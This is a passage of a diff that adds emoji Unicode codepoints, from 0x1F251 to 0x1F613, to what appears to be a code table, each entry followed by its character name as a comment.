+ 0x1F251, // CIRCLED IDEOGRAPH ACCEPT
+ 0x1F300, // CYCLONE
+ 0x1F301, // FOGGY
+ 0x1F302, // CLOSED UMBRELLA
+ 0x1F303, // NIGHT WITH STARS
+ 0x1F304, // SUNRISE OVER MOUNTAINS
+ 0x1F305, // SUNRISE
+ 0x1F306, // CITYSCAPE AT DUSK
+ 0x1F307, // SUNSET OVER BUILDINGS
+ 0x1F308, // RAINBOW
+ 0x1F309, // BRIDGE AT NIGHT
+ 0x1F30A, // WATER WAVE
+ 0x1F30B, // VOLCANO
+ 0x1F30C, // MILKY WAY
+ 0x1F30D, // EARTH GLOBE EUROPE-AFRICA
+ 0x1F30E, // EARTH GLOBE AMERICAS
+ 0x1F30F, // EARTH GLOBE ASIA-AUSTRALIA
+ 0x1F310, // GLOBE WITH MERIDIANS
+ 0x1F311, // NEW MOON SYMBOL
+ 0x1F312, // WAXING CRESCENT MOON SYMBOL
+ 0x1F313, // FIRST QUARTER MOON SYMBOL
+ 0x1F314, // WAXING GIBBOUS MOON SYMBOL
+ 0x1F315, // FULL MOON SYMBOL
+ 0x1F316, // WANING GIBBOUS MOON SYMBOL
+ 0x1F317, // LAST QUARTER MOON SYMBOL
+ 0x1F318, // WANING CRESCENT MOON SYMBOL
+ 0x1F319, // CRESCENT MOON
+ 0x1F31A, // NEW MOON WITH FACE
+ 0x1F31B, // FIRST QUARTER MOON WITH FACE
+ 0x1F31C, // LAST QUARTER MOON WITH FACE
+ 0x1F31D, // FULL MOON WITH FACE
+ 0x1F31E, // SUN WITH FACE
+ 0x1F31F, // GLOWING STAR
+ 0x1F320, // SHOOTING STAR
+ 0x1F321, // THERMOMETER
+ 0x1F324, // WHITE SUN WITH SMALL CLOUD
+ 0x1F325, // WHITE SUN BEHIND CLOUD
+ 0x1F326, // WHITE SUN BEHIND CLOUD WITH RAIN
+ 0x1F327, // CLOUD WITH RAIN
+ 0x1F328, // CLOUD WITH SNOW
+ 0x1F329, // CLOUD WITH LIGHTNING
+ 0x1F32A, // CLOUD WITH TORNADO
+ 0x1F32B, // FOG
+ 0x1F32C, // WIND BLOWING FACE
+ 0x1F32D, // HOT DOG
+ 0x1F32E, // TACO
+ 0x1F32F, // BURRITO
+ 0x1F330, // CHESTNUT
+ 0x1F331, // SEEDLING
+ 0x1F332, // EVERGREEN TREE
+ 0x1F333, // DECIDUOUS TREE
+ 0x1F334, // PALM TREE
+ 0x1F335, // CACTUS
+ 0x1F336, // HOT PEPPER
+ 0x1F337, // TULIP
+ 0x1F338, // CHERRY BLOSSOM
+ 0x1F339, // ROSE
+ 0x1F33A, // HIBISCUS
+ 0x1F33B, // SUNFLOWER
+ 0x1F33C, // BLOSSOM
+ 0x1F33D, // EAR OF MAIZE
+ 0x1F33E, // EAR OF RICE
+ 0x1F33F, // HERB
+ 0x1F340, // FOUR LEAF CLOVER
+ 0x1F341, // MAPLE LEAF
+ 0x1F342, // FALLEN LEAF
+ 0x1F343, // LEAF FLUTTERING IN WIND
+ 0x1F344, // MUSHROOM
+ 0x1F345, // TOMATO
+ 0x1F346, // AUBERGINE
+ 0x1F347, // GRAPES
+ 0x1F348, // MELON
+ 0x1F349, // WATERMELON
+ 0x1F34A, // TANGERINE
+ 0x1F34B, // LEMON
+ 0x1F34C, // BANANA
+ 0x1F34D, // PINEAPPLE
+ 0x1F34E, // RED APPLE
+ 0x1F34F, // GREEN APPLE
+ 0x1F350, // PEAR
+ 0x1F351, // PEACH
+ 0x1F352, // CHERRIES
+ 0x1F353, // STRAWBERRY
+ 0x1F354, // HAMBURGER
+ 0x1F355, // SLICE OF PIZZA
+ 0x1F356, // MEAT ON BONE
+ 0x1F357, // POULTRY LEG
+ 0x1F358, // RICE CRACKER
+ 0x1F359, // RICE BALL
+ 0x1F35A, // COOKED RICE
+ 0x1F35B, // CURRY AND RICE
+ 0x1F35C, // STEAMING BOWL
+ 0x1F35D, // SPAGHETTI
+ 0x1F35E, // BREAD
+ 0x1F35F, // FRENCH FRIES
+ 0x1F360, // ROASTED SWEET POTATO
+ 0x1F361, // DANGO
+ 0x1F362, // ODEN
+ 0x1F363, // SUSHI
+ 0x1F364, // FRIED SHRIMP
+ 0x1F365, // FISH CAKE WITH SWIRL DESIGN
+ 0x1F366, // SOFT ICE CREAM
+ 0x1F367, // SHAVED ICE
+ 0x1F368, // ICE CREAM
+ 0x1F369, // DOUGHNUT
+ 0x1F36A, // COOKIE
+ 0x1F36B, // CHOCOLATE BAR
+ 0x1F36C, // CANDY
+ 0x1F36D, // LOLLIPOP
+ 0x1F36E, // CUSTARD
+ 0x1F36F, // HONEY POT
+ 0x1F370, // SHORTCAKE
+ 0x1F371, // BENTO BOX
+ 0x1F372, // POT OF FOOD
+ 0x1F373, // COOKING
+ 0x1F374, // FORK AND KNIFE
+ 0x1F375, // TEACUP WITHOUT HANDLE
+ 0x1F376, // SAKE BOTTLE AND CUP
+ 0x1F377, // WINE GLASS
+ 0x1F378, // COCKTAIL GLASS
+ 0x1F379, // TROPICAL DRINK
+ 0x1F37A, // BEER MUG
+ 0x1F37B, // CLINKING BEER MUGS
+ 0x1F37C, // BABY BOTTLE
+ 0x1F37D, // FORK AND KNIFE WITH PLATE
+ 0x1F37E, // BOTTLE WITH POPPING CORK
+ 0x1F37F, // POPCORN
+ 0x1F380, // RIBBON
+ 0x1F381, // WRAPPED PRESENT
+ 0x1F382, // BIRTHDAY CAKE
+ 0x1F383, // JACK-O-LANTERN
+ 0x1F384, // CHRISTMAS TREE
+ 0x1F385, // FATHER CHRISTMAS
+ 0x1F386, // FIREWORKS
+ 0x1F387, // FIREWORK SPARKLER
+ 0x1F388, // BALLOON
+ 0x1F389, // PARTY POPPER
+ 0x1F38A, // CONFETTI BALL
+ 0x1F38B, // TANABATA TREE
+ 0x1F38C, // CROSSED FLAGS
+ 0x1F38D, // PINE DECORATION
+ 0x1F38E, // JAPANESE DOLLS
+ 0x1F38F, // CARP STREAMER
+ 0x1F390, // WIND CHIME
+ 0x1F391, // MOON VIEWING CEREMONY
+ 0x1F392, // SCHOOL SATCHEL
+ 0x1F393, // GRADUATION CAP
+ 0x1F396, // MILITARY MEDAL
+ 0x1F397, // REMINDER RIBBON
+ 0x1F399, // STUDIO MICROPHONE
+ 0x1F39A, // LEVEL SLIDER
+ 0x1F39B, // CONTROL KNOBS
+ 0x1F39E, // FILM FRAMES
+ 0x1F39F, // ADMISSION TICKETS
+ 0x1F3A0, // CAROUSEL HORSE
+ 0x1F3A1, // FERRIS WHEEL
+ 0x1F3A2, // ROLLER COASTER
+ 0x1F3A3, // FISHING POLE AND FISH
+ 0x1F3A4, // MICROPHONE
+ 0x1F3A5, // MOVIE CAMERA
+ 0x1F3A6, // CINEMA
+ 0x1F3A7, // HEADPHONE
+ 0x1F3A8, // ARTIST PALETTE
+ 0x1F3A9, // TOP HAT
+ 0x1F3AA, // CIRCUS TENT
+ 0x1F3AB, // TICKET
+ 0x1F3AC, // CLAPPER BOARD
+ 0x1F3AD, // PERFORMING ARTS
+ 0x1F3AE, // VIDEO GAME
+ 0x1F3AF, // DIRECT HIT
+ 0x1F3B0, // SLOT MACHINE
+ 0x1F3B1, // BILLIARDS
+ 0x1F3B2, // GAME DIE
+ 0x1F3B3, // BOWLING
+ 0x1F3B4, // FLOWER PLAYING CARDS
+ 0x1F3B5, // MUSICAL NOTE
+ 0x1F3B6, // MULTIPLE MUSICAL NOTES
+ 0x1F3B7, // SAXOPHONE
+ 0x1F3B8, // GUITAR
+ 0x1F3B9, // MUSICAL KEYBOARD
+ 0x1F3BA, // TRUMPET
+ 0x1F3BB, // VIOLIN
+ 0x1F3BC, // MUSICAL SCORE
+ 0x1F3BD, // RUNNING SHIRT WITH SASH
+ 0x1F3BE, // TENNIS RACQUET AND BALL
+ 0x1F3BF, // SKI AND SKI BOOT
+ 0x1F3C0, // BASKETBALL AND HOOP
+ 0x1F3C1, // CHEQUERED FLAG
+ 0x1F3C2, // SNOWBOARDER
+ 0x1F3C3, // RUNNER
+ 0x1F3C4, // SURFER
+ 0x1F3C5, // SPORTS MEDAL
+ 0x1F3C6, // TROPHY
+ 0x1F3C7, // HORSE RACING
+ 0x1F3C8, // AMERICAN FOOTBALL
+ 0x1F3C9, // RUGBY FOOTBALL
+ 0x1F3CA, // SWIMMER
+ 0x1F3CB, // WEIGHT LIFTER
+ 0x1F3CC, // GOLFER
+ 0x1F3CD, // RACING MOTORCYCLE
+ 0x1F3CE, // RACING CAR
+ 0x1F3CF, // CRICKET BAT AND BALL
+ 0x1F3D0, // VOLLEYBALL
+ 0x1F3D1, // FIELD HOCKEY STICK AND BALL
+ 0x1F3D2, // ICE HOCKEY STICK AND PUCK
+ 0x1F3D3, // TABLE TENNIS PADDLE AND BALL
+ 0x1F3D4, // SNOW CAPPED MOUNTAIN
+ 0x1F3D5, // CAMPING
+ 0x1F3D6, // BEACH WITH UMBRELLA
+ 0x1F3D7, // BUILDING CONSTRUCTION
+ 0x1F3D8, // HOUSE BUILDINGS
+ 0x1F3D9, // CITYSCAPE
+ 0x1F3DA, // DERELICT HOUSE BUILDING
+ 0x1F3DB, // CLASSICAL BUILDING
+ 0x1F3DC, // DESERT
+ 0x1F3DD, // DESERT ISLAND
+ 0x1F3DE, // NATIONAL PARK
+ 0x1F3DF, // STADIUM
+ 0x1F3E0, // HOUSE BUILDING
+ 0x1F3E1, // HOUSE WITH GARDEN
+ 0x1F3E2, // OFFICE BUILDING
+ 0x1F3E3, // JAPANESE POST OFFICE
+ 0x1F3E4, // EUROPEAN POST OFFICE
+ 0x1F3E5, // HOSPITAL
+ 0x1F3E6, // BANK
+ 0x1F3E7, // AUTOMATED TELLER MACHINE
+ 0x1F3E8, // HOTEL
+ 0x1F3E9, // LOVE HOTEL
+ 0x1F3EA, // CONVENIENCE STORE
+ 0x1F3EB, // SCHOOL
+ 0x1F3EC, // DEPARTMENT STORE
+ 0x1F3ED, // FACTORY
+ 0x1F3EE, // IZAKAYA LANTERN
+ 0x1F3EF, // JAPANESE CASTLE
+ 0x1F3F0, // EUROPEAN CASTLE
+ 0x1F3F3, // WAVING WHITE FLAG
+ 0x1F3F4, // WAVING BLACK FLAG
+ 0x1F3F5, // ROSETTE
+ 0x1F3F7, // LABEL
+ 0x1F3F8, // BADMINTON RACQUET AND SHUTTLECOCK
+ 0x1F3F9, // BOW AND ARROW
+ 0x1F3FA, // AMPHORA
+ 0x1F3FB, // EMOJI MODIFIER FITZPATRICK TYPE-1-2
+ 0x1F3FC, // EMOJI MODIFIER FITZPATRICK TYPE-3
+ 0x1F3FD, // EMOJI MODIFIER FITZPATRICK TYPE-4
+ 0x1F3FE, // EMOJI MODIFIER FITZPATRICK TYPE-5
+ 0x1F3FF, // EMOJI MODIFIER FITZPATRICK TYPE-6
+ 0x1F400, // RAT
+ 0x1F401, // MOUSE
+ 0x1F402, // OX
+ 0x1F403, // WATER BUFFALO
+ 0x1F404, // COW
+ 0x1F405, // TIGER
+ 0x1F406, // LEOPARD
+ 0x1F407, // RABBIT
+ 0x1F408, // CAT
+ 0x1F409, // DRAGON
+ 0x1F40A, // CROCODILE
+ 0x1F40B, // WHALE
+ 0x1F40C, // SNAIL
+ 0x1F40D, // SNAKE
+ 0x1F40E, // HORSE
+ 0x1F40F, // RAM
+ 0x1F410, // GOAT
+ 0x1F411, // SHEEP
+ 0x1F412, // MONKEY
+ 0x1F413, // ROOSTER
+ 0x1F414, // CHICKEN
+ 0x1F415, // DOG
+ 0x1F416, // PIG
+ 0x1F417, // BOAR
+ 0x1F418, // ELEPHANT
+ 0x1F419, // OCTOPUS
+ 0x1F41A, // SPIRAL SHELL
+ 0x1F41B, // BUG
+ 0x1F41C, // ANT
+ 0x1F41D, // HONEYBEE
+ 0x1F41E, // LADY BEETLE
+ 0x1F41F, // FISH
+ 0x1F420, // TROPICAL FISH
+ 0x1F421, // BLOWFISH
+ 0x1F422, // TURTLE
+ 0x1F423, // HATCHING CHICK
+ 0x1F424, // BABY CHICK
+ 0x1F425, // FRONT-FACING BABY CHICK
+ 0x1F426, // BIRD
+ 0x1F427, // PENGUIN
+ 0x1F428, // KOALA
+ 0x1F429, // POODLE
+ 0x1F42A, // DROMEDARY CAMEL
+ 0x1F42B, // BACTRIAN CAMEL
+ 0x1F42C, // DOLPHIN
+ 0x1F42D, // MOUSE FACE
+ 0x1F42E, // COW FACE
+ 0x1F42F, // TIGER FACE
+ 0x1F430, // RABBIT FACE
+ 0x1F431, // CAT FACE
+ 0x1F432, // DRAGON FACE
+ 0x1F433, // SPOUTING WHALE
+ 0x1F434, // HORSE FACE
+ 0x1F435, // MONKEY FACE
+ 0x1F436, // DOG FACE
+ 0x1F437, // PIG FACE
+ 0x1F438, // FROG FACE
+ 0x1F439, // HAMSTER FACE
+ 0x1F43A, // WOLF FACE
+ 0x1F43B, // BEAR FACE
+ 0x1F43C, // PANDA FACE
+ 0x1F43D, // PIG NOSE
+ 0x1F43E, // PAW PRINTS
+ 0x1F43F, // CHIPMUNK
+ 0x1F440, // EYES
+ 0x1F441, // EYE
+ 0x1F442, // EAR
+ 0x1F443, // NOSE
+ 0x1F444, // MOUTH
+ 0x1F445, // TONGUE
+ 0x1F446, // WHITE UP POINTING BACKHAND INDEX
+ 0x1F447, // WHITE DOWN POINTING BACKHAND INDEX
+ 0x1F448, // WHITE LEFT POINTING BACKHAND INDEX
+ 0x1F449, // WHITE RIGHT POINTING BACKHAND INDEX
+ 0x1F44A, // FISTED HAND SIGN
+ 0x1F44B, // WAVING HAND SIGN
+ 0x1F44C, // OK HAND SIGN
+ 0x1F44D, // THUMBS UP SIGN
+ 0x1F44E, // THUMBS DOWN SIGN
+ 0x1F44F, // CLAPPING HANDS SIGN
+ 0x1F450, // OPEN HANDS SIGN
+ 0x1F451, // CROWN
+ 0x1F452, // WOMANS HAT
+ 0x1F453, // EYEGLASSES
+ 0x1F454, // NECKTIE
+ 0x1F455, // T-SHIRT
+ 0x1F456, // JEANS
+ 0x1F457, // DRESS
+ 0x1F458, // KIMONO
+ 0x1F459, // BIKINI
+ 0x1F45A, // WOMANS CLOTHES
+ 0x1F45B, // PURSE
+ 0x1F45C, // HANDBAG
+ 0x1F45D, // POUCH
+ 0x1F45E, // MANS SHOE
+ 0x1F45F, // ATHLETIC SHOE
+ 0x1F460, // HIGH-HEELED SHOE
+ 0x1F461, // WOMANS SANDAL
+ 0x1F462, // WOMANS BOOTS
+ 0x1F463, // FOOTPRINTS
+ 0x1F464, // BUST IN SILHOUETTE
+ 0x1F465, // BUSTS IN SILHOUETTE
+ 0x1F466, // BOY
+ 0x1F467, // GIRL
+ 0x1F468, // MAN
+ 0x1F469, // WOMAN
+ 0x1F46A, // FAMILY
+ 0x1F46B, // MAN AND WOMAN HOLDING HANDS
+ 0x1F46C, // TWO MEN HOLDING HANDS
+ 0x1F46D, // TWO WOMEN HOLDING HANDS
+ 0x1F46E, // POLICE OFFICER
+ 0x1F46F, // WOMAN WITH BUNNY EARS
+ 0x1F470, // BRIDE WITH VEIL
+ 0x1F471, // PERSON WITH BLOND HAIR
+ 0x1F472, // MAN WITH GUA PI MAO
+ 0x1F473, // MAN WITH TURBAN
+ 0x1F474, // OLDER MAN
+ 0x1F475, // OLDER WOMAN
+ 0x1F476, // BABY
+ 0x1F477, // CONSTRUCTION WORKER
+ 0x1F478, // PRINCESS
+ 0x1F479, // JAPANESE OGRE
+ 0x1F47A, // JAPANESE GOBLIN
+ 0x1F47B, // GHOST
+ 0x1F47C, // BABY ANGEL
+ 0x1F47D, // EXTRATERRESTRIAL ALIEN
+ 0x1F47E, // ALIEN MONSTER
+ 0x1F47F, // IMP
+ 0x1F480, // SKULL
+ 0x1F481, // INFORMATION DESK PERSON
+ 0x1F482, // GUARDSMAN
+ 0x1F483, // DANCER
+ 0x1F484, // LIPSTICK
+ 0x1F485, // NAIL POLISH
+ 0x1F486, // FACE MASSAGE
+ 0x1F487, // HAIRCUT
+ 0x1F488, // BARBER POLE
+ 0x1F489, // SYRINGE
+ 0x1F48A, // PILL
+ 0x1F48B, // KISS MARK
+ 0x1F48C, // LOVE LETTER
+ 0x1F48D, // RING
+ 0x1F48E, // GEM STONE
+ 0x1F48F, // KISS
+ 0x1F490, // BOUQUET
+ 0x1F491, // COUPLE WITH HEART
+ 0x1F492, // WEDDING
+ 0x1F493, // BEATING HEART
+ 0x1F494, // BROKEN HEART
+ 0x1F495, // TWO HEARTS
+ 0x1F496, // SPARKLING HEART
+ 0x1F497, // GROWING HEART
+ 0x1F498, // HEART WITH ARROW
+ 0x1F499, // BLUE HEART
+ 0x1F49A, // GREEN HEART
+ 0x1F49B, // YELLOW HEART
+ 0x1F49C, // PURPLE HEART
+ 0x1F49D, // HEART WITH RIBBON
+ 0x1F49E, // REVOLVING HEARTS
+ 0x1F49F, // HEART DECORATION
+ 0x1F4A0, // DIAMOND SHAPE WITH A DOT INSIDE
+ 0x1F4A1, // ELECTRIC LIGHT BULB
+ 0x1F4A2, // ANGER SYMBOL
+ 0x1F4A3, // BOMB
+ 0x1F4A4, // SLEEPING SYMBOL
+ 0x1F4A5, // COLLISION SYMBOL
+ 0x1F4A6, // SPLASHING SWEAT SYMBOL
+ 0x1F4A7, // DROPLET
+ 0x1F4A8, // DASH SYMBOL
+ 0x1F4A9, // PILE OF POO
+ 0x1F4AA, // FLEXED BICEPS
+ 0x1F4AB, // DIZZY SYMBOL
+ 0x1F4AC, // SPEECH BALLOON
+ 0x1F4AD, // THOUGHT BALLOON
+ 0x1F4AE, // WHITE FLOWER
+ 0x1F4AF, // HUNDRED POINTS SYMBOL
+ 0x1F4B0, // MONEY BAG
+ 0x1F4B1, // CURRENCY EXCHANGE
+ 0x1F4B2, // HEAVY DOLLAR SIGN
+ 0x1F4B3, // CREDIT CARD
+ 0x1F4B4, // BANKNOTE WITH YEN SIGN
+ 0x1F4B5, // BANKNOTE WITH DOLLAR SIGN
+ 0x1F4B6, // BANKNOTE WITH EURO SIGN
+ 0x1F4B7, // BANKNOTE WITH POUND SIGN
+ 0x1F4B8, // MONEY WITH WINGS
+ 0x1F4B9, // CHART WITH UPWARDS TREND AND YEN SIGN
+ 0x1F4BA, // SEAT
+ 0x1F4BB, // PERSONAL COMPUTER
+ 0x1F4BC, // BRIEFCASE
+ 0x1F4BD, // MINIDISC
+ 0x1F4BE, // FLOPPY DISK
+ 0x1F4BF, // OPTICAL DISC
+ 0x1F4C0, // DVD
+ 0x1F4C1, // FILE FOLDER
+ 0x1F4C2, // OPEN FILE FOLDER
+ 0x1F4C3, // PAGE WITH CURL
+ 0x1F4C4, // PAGE FACING UP
+ 0x1F4C5, // CALENDAR
+ 0x1F4C6, // TEAR-OFF CALENDAR
+ 0x1F4C7, // CARD INDEX
+ 0x1F4C8, // CHART WITH UPWARDS TREND
+ 0x1F4C9, // CHART WITH DOWNWARDS TREND
+ 0x1F4CA, // BAR CHART
+ 0x1F4CB, // CLIPBOARD
+ 0x1F4CC, // PUSHPIN
+ 0x1F4CD, // ROUND PUSHPIN
+ 0x1F4CE, // PAPERCLIP
+ 0x1F4CF, // STRAIGHT RULER
+ 0x1F4D0, // TRIANGULAR RULER
+ 0x1F4D1, // BOOKMARK TABS
+ 0x1F4D2, // LEDGER
+ 0x1F4D3, // NOTEBOOK
+ 0x1F4D4, // NOTEBOOK WITH DECORATIVE COVER
+ 0x1F4D5, // CLOSED BOOK
+ 0x1F4D6, // OPEN BOOK
+ 0x1F4D7, // GREEN BOOK
+ 0x1F4D8, // BLUE BOOK
+ 0x1F4D9, // ORANGE BOOK
+ 0x1F4DA, // BOOKS
+ 0x1F4DB, // NAME BADGE
+ 0x1F4DC, // SCROLL
+ 0x1F4DD, // MEMO
+ 0x1F4DE, // TELEPHONE RECEIVER
+ 0x1F4DF, // PAGER
+ 0x1F4E0, // FAX MACHINE
+ 0x1F4E1, // SATELLITE ANTENNA
+ 0x1F4E2, // PUBLIC ADDRESS LOUDSPEAKER
+ 0x1F4E3, // CHEERING MEGAPHONE
+ 0x1F4E4, // OUTBOX TRAY
+ 0x1F4E5, // INBOX TRAY
+ 0x1F4E6, // PACKAGE
+ 0x1F4E7, // E-MAIL SYMBOL
+ 0x1F4E8, // INCOMING ENVELOPE
+ 0x1F4E9, // ENVELOPE WITH DOWNWARDS ARROW ABOVE
+ 0x1F4EA, // CLOSED MAILBOX WITH LOWERED FLAG
+ 0x1F4EB, // CLOSED MAILBOX WITH RAISED FLAG
+ 0x1F4EC, // OPEN MAILBOX WITH RAISED FLAG
+ 0x1F4ED, // OPEN MAILBOX WITH LOWERED FLAG
+ 0x1F4EE, // POSTBOX
+ 0x1F4EF, // POSTAL HORN
+ 0x1F4F0, // NEWSPAPER
+ 0x1F4F1, // MOBILE PHONE
+ 0x1F4F2, // MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+ 0x1F4F3, // VIBRATION MODE
+ 0x1F4F4, // MOBILE PHONE OFF
+ 0x1F4F5, // NO MOBILE PHONES
+ 0x1F4F6, // ANTENNA WITH BARS
+ 0x1F4F7, // CAMERA
+ 0x1F4F8, // CAMERA WITH FLASH
+ 0x1F4F9, // VIDEO CAMERA
+ 0x1F4FA, // TELEVISION
+ 0x1F4FB, // RADIO
+ 0x1F4FC, // VIDEOCASSETTE
+ 0x1F4FD, // FILM PROJECTOR
+ 0x1F4FF, // PRAYER BEADS
+ 0x1F500, // TWISTED RIGHTWARDS ARROWS
+ 0x1F501, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+ 0x1F502, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+ 0x1F503, // CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+ 0x1F504, // ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+ 0x1F505, // LOW BRIGHTNESS SYMBOL
+ 0x1F506, // HIGH BRIGHTNESS SYMBOL
+ 0x1F507, // SPEAKER WITH CANCELLATION STROKE
+ 0x1F508, // SPEAKER
+ 0x1F509, // SPEAKER WITH ONE SOUND WAVE
+ 0x1F50A, // SPEAKER WITH THREE SOUND WAVES
+ 0x1F50B, // BATTERY
+ 0x1F50C, // ELECTRIC PLUG
+ 0x1F50D, // LEFT-POINTING MAGNIFYING GLASS
+ 0x1F50E, // RIGHT-POINTING MAGNIFYING GLASS
+ 0x1F50F, // LOCK WITH INK PEN
+ 0x1F510, // CLOSED LOCK WITH KEY
+ 0x1F511, // KEY
+ 0x1F512, // LOCK
+ 0x1F513, // OPEN LOCK
+ 0x1F514, // BELL
+ 0x1F515, // BELL WITH CANCELLATION STROKE
+ 0x1F516, // BOOKMARK
+ 0x1F517, // LINK SYMBOL
+ 0x1F518, // RADIO BUTTON
+ 0x1F519, // BACK WITH LEFTWARDS ARROW ABOVE
+ 0x1F51A, // END WITH LEFTWARDS ARROW ABOVE
+ 0x1F51B, // ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+ 0x1F51C, // SOON WITH RIGHTWARDS ARROW ABOVE
+ 0x1F51D, // TOP WITH UPWARDS ARROW ABOVE
+ 0x1F51E, // NO ONE UNDER EIGHTEEN SYMBOL
+ 0x1F51F, // KEYCAP TEN
+ 0x1F520, // INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+ 0x1F521, // INPUT SYMBOL FOR LATIN SMALL LETTERS
+ 0x1F522, // INPUT SYMBOL FOR NUMBERS
+ 0x1F523, // INPUT SYMBOL FOR SYMBOLS
+ 0x1F524, // INPUT SYMBOL FOR LATIN LETTERS
+ 0x1F525, // FIRE
+ 0x1F526, // ELECTRIC TORCH
+ 0x1F527, // WRENCH
+ 0x1F528, // HAMMER
+ 0x1F529, // NUT AND BOLT
+ 0x1F52A, // HOCHO
+ 0x1F52B, // PISTOL
+ 0x1F52C, // MICROSCOPE
+ 0x1F52D, // TELESCOPE
+ 0x1F52E, // CRYSTAL BALL
+ 0x1F52F, // SIX POINTED STAR WITH MIDDLE DOT
+ 0x1F530, // JAPANESE SYMBOL FOR BEGINNER
+ 0x1F531, // TRIDENT EMBLEM
+ 0x1F532, // BLACK SQUARE BUTTON
+ 0x1F533, // WHITE SQUARE BUTTON
+ 0x1F534, // LARGE RED CIRCLE
+ 0x1F535, // LARGE BLUE CIRCLE
+ 0x1F536, // LARGE ORANGE DIAMOND
+ 0x1F537, // LARGE BLUE DIAMOND
+ 0x1F538, // SMALL ORANGE DIAMOND
+ 0x1F539, // SMALL BLUE DIAMOND
+ 0x1F53A, // UP-POINTING RED TRIANGLE
+ 0x1F53B, // DOWN-POINTING RED TRIANGLE
+ 0x1F53C, // UP-POINTING SMALL RED TRIANGLE
+ 0x1F53D, // DOWN-POINTING SMALL RED TRIANGLE
+ 0x1F549, // OM SYMBOL
+ 0x1F54A, // DOVE OF PEACE
+ 0x1F54B, // KAABA
+ 0x1F54C, // MOSQUE
+ 0x1F54D, // SYNAGOGUE
+ 0x1F54E, // MENORAH WITH NINE BRANCHES
+ 0x1F550, // CLOCK FACE ONE OCLOCK
+ 0x1F551, // CLOCK FACE TWO OCLOCK
+ 0x1F552, // CLOCK FACE THREE OCLOCK
+ 0x1F553, // CLOCK FACE FOUR OCLOCK
+ 0x1F554, // CLOCK FACE FIVE OCLOCK
+ 0x1F555, // CLOCK FACE SIX OCLOCK
+ 0x1F556, // CLOCK FACE SEVEN OCLOCK
+ 0x1F557, // CLOCK FACE EIGHT OCLOCK
+ 0x1F558, // CLOCK FACE NINE OCLOCK
+ 0x1F559, // CLOCK FACE TEN OCLOCK
+ 0x1F55A, // CLOCK FACE ELEVEN OCLOCK
+ 0x1F55B, // CLOCK FACE TWELVE OCLOCK
+ 0x1F55C, // CLOCK FACE ONE-THIRTY
+ 0x1F55D, // CLOCK FACE TWO-THIRTY
+ 0x1F55E, // CLOCK FACE THREE-THIRTY
+ 0x1F55F, // CLOCK FACE FOUR-THIRTY
+ 0x1F560, // CLOCK FACE FIVE-THIRTY
+ 0x1F561, // CLOCK FACE SIX-THIRTY
+ 0x1F562, // CLOCK FACE SEVEN-THIRTY
+ 0x1F563, // CLOCK FACE EIGHT-THIRTY
+ 0x1F564, // CLOCK FACE NINE-THIRTY
+ 0x1F565, // CLOCK FACE TEN-THIRTY
+ 0x1F566, // CLOCK FACE ELEVEN-THIRTY
+ 0x1F567, // CLOCK FACE TWELVE-THIRTY
+ 0x1F56F, // CANDLE
+ 0x1F570, // MANTELPIECE CLOCK
+ 0x1F573, // HOLE
+ 0x1F574, // MAN IN BUSINESS SUIT LEVITATING
+ 0x1F575, // SLEUTH OR SPY
+ 0x1F576, // DARK SUNGLASSES
+ 0x1F577, // SPIDER
+ 0x1F578, // SPIDER WEB
+ 0x1F579, // JOYSTICK
+ 0x1F57A, // MAN DANCING
+ 0x1F587, // LINKED PAPERCLIPS
+ 0x1F58A, // LOWER LEFT BALLPOINT PEN
+ 0x1F58B, // LOWER LEFT FOUNTAIN PEN
+ 0x1F58C, // LOWER LEFT PAINTBRUSH
+ 0x1F58D, // LOWER LEFT CRAYON
+ 0x1F590, // RAISED HAND WITH FINGERS SPLAYED
+ 0x1F595, // REVERSED HAND WITH MIDDLE FINGER EXTENDED
+ 0x1F596, // RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+ 0x1F5A4, // BLACK HEART
+ 0x1F5A5, // DESKTOP COMPUTER
+ 0x1F5A8, // PRINTER
+ 0x1F5B1, // THREE BUTTON MOUSE
+ 0x1F5B2, // TRACKBALL
+ 0x1F5BC, // FRAME WITH PICTURE
+ 0x1F5C2, // CARD INDEX DIVIDERS
+ 0x1F5C3, // CARD FILE BOX
+ 0x1F5C4, // FILE CABINET
+ 0x1F5D1, // WASTEBASKET
+ 0x1F5D2, // SPIRAL NOTE PAD
+ 0x1F5D3, // SPIRAL CALENDAR PAD
+ 0x1F5DC, // COMPRESSION
+ 0x1F5DD, // OLD KEY
+ 0x1F5DE, // ROLLED-UP NEWSPAPER
+ 0x1F5E1, // DAGGER KNIFE
+ 0x1F5E3, // SPEAKING HEAD IN SILHOUETTE
+ 0x1F5E8, // LEFT SPEECH BUBBLE
+ 0x1F5EF, // RIGHT ANGER BUBBLE
+ 0x1F5F3, // BALLOT BOX WITH BALLOT
+ 0x1F5FA, // WORLD MAP
+ 0x1F5FB, // MOUNT FUJI
+ 0x1F5FC, // TOKYO TOWER
+ 0x1F5FD, // STATUE OF LIBERTY
+ 0x1F5FE, // SILHOUETTE OF JAPAN
+ 0x1F5FF, // MOYAI
+ 0x1F600, // GRINNING FACE
+ 0x1F601, // GRINNING FACE WITH SMILING EYES
+ 0x1F602, // FACE WITH TEARS OF JOY
+ 0x1F603, // SMILING FACE WITH OPEN MOUTH
+ 0x1F604, // SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+ 0x1F605, // SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+ 0x1F606, // SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+ 0x1F607, // SMILING FACE WITH HALO
+ 0x1F608, // SMILING FACE WITH HORNS
+ 0x1F609, // WINKING FACE
+ 0x1F60A, // SMILING FACE WITH SMILING EYES
+ 0x1F60B, // FACE SAVOURING DELICIOUS FOOD
+ 0x1F60C, // RELIEVED FACE
+ 0x1F60D, // SMILING FACE WITH HEART-SHAPED EYES
+ 0x1F60E, // SMILING FACE WITH SUNGLASSES
+ 0x1F60F, // SMIRKING FACE
+ 0x1F610, // NEUTRAL FACE
+ 0x1F611, // EXPRESSIONLESS FACE
+ 0x1F612, // UNAMUSED FACE
+ 0x1F613, // FACE WITH COLD SWEAT
